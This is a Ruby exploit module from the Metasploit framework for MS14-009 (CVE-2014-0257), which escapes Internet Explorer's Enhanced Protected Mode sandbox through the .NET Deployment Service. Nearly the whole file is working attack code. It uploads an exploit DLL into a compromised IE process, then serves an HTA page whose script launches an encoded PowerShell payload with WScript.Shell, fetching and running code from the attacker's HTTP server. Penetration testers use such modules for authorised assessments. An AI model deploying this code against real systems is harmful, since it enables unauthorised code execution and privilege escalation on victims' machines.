metasploit-framework/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super( update_info( info,
      'Name'		=> 'MS14-009 .NET Deployment Service IE Sandbox Escape',
      'Description'	=> %q{
        This module abuses a process creation policy in the Internet Explorer Sandbox which allows
        to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem
        exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity
        Level. Further interaction with the component allows to escape the Enhanced Protected Mode
        and execute arbitrary code with Medium Integrity.
      },
      'License'	=> MSF_LICENSE,
      'Author'	=>
        [
          'James Forshaw', # Vulnerability Discovery and original exploit code
          'juan vazquez' # metasploit module
        ],
      'Platform'	    => [ 'win' ],
      'SessionTypes'	=> [ 'meterpreter' ],
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'	=>
        [
          [ 'IE 8 - 11', { } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate'=> "Feb 11 2014",
      'References' =>
        [
          ['CVE', '2014-0257'],
          ['MSB', 'MS14-009'],
          ['BID', '65417'],
          ['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
        ]
    ))

    register_options(
      [
        OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
      ])
  end

  def exploit
    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

    mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
    if mod_handle['return'] == 0
      fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
    end

    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
    end

    begin
      Timeout.timeout(datastore['DELAY']) { super }
    rescue Timeout::Error
    end
  end

  def primer
    exploit_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
    session.railgun.kernel32.SetEnvironmentVariableA("MYURL", exploit_uri)

    temp = session.sys.config.getenv('TEMP')

    print_status("Loading Exploit Library...")

    session.core.load_library(
        'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
        'TargetFilePath'  => temp +  "\\CVE-2014-0257.dll",
        'UploadLibrary'   => true,
        'Extension'       => false,
        'SaveToDisk'      => false
    )
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.hta$/
      print_status("Sending hta...")
      hta = <<-eos
<script>
var command = "#{cmd_psh_payload(payload.encoded).strip}";
var shell = new ActiveXObject("WScript.Shell");
shell.Run(command);
</script>
      eos
      print_status(hta)
      send_response(cli, hta, {'Content-Type'=>'application/hta'})
    else
      send_not_found(cli)
    end
  end

  def get_dll
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll")
    dll = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

    dll
  end

end